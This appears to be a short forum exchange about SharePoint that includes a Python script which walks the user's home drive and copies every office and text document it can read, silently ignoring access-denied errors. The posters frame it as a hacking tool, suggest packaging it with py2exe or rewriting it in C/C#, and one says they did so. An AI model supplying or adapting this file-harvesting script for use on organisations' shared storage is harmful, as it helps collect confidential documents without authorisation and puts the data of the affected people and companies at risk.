Sharepoint is going to be the end of us all. It's always just jammed full of juicy stuff like this.
#!/usr/bin/python
import os,shutil
exts = [".txt",".doc",".docx",".xls",".xlsx",".ppt",".pptx"]
startpath = os.environ['HOMEDRIVE']
def find(none, directory, filenames):
for file in filenames:
for ext in exts:
if file.endswith(ext):
fullfile = os.path.join(directory,file)
try:
shutil.copy(fullfile,file)
except IOError:
pass # access denied
os.path.walk(startpath,find, None)Of course you can always py2exe this, write it in C/C++ (/C#). Hacking is easy, it just takes time and dedication.
That's exactly what I did! You can do the same through cmd, but most machines do not have permissions for that.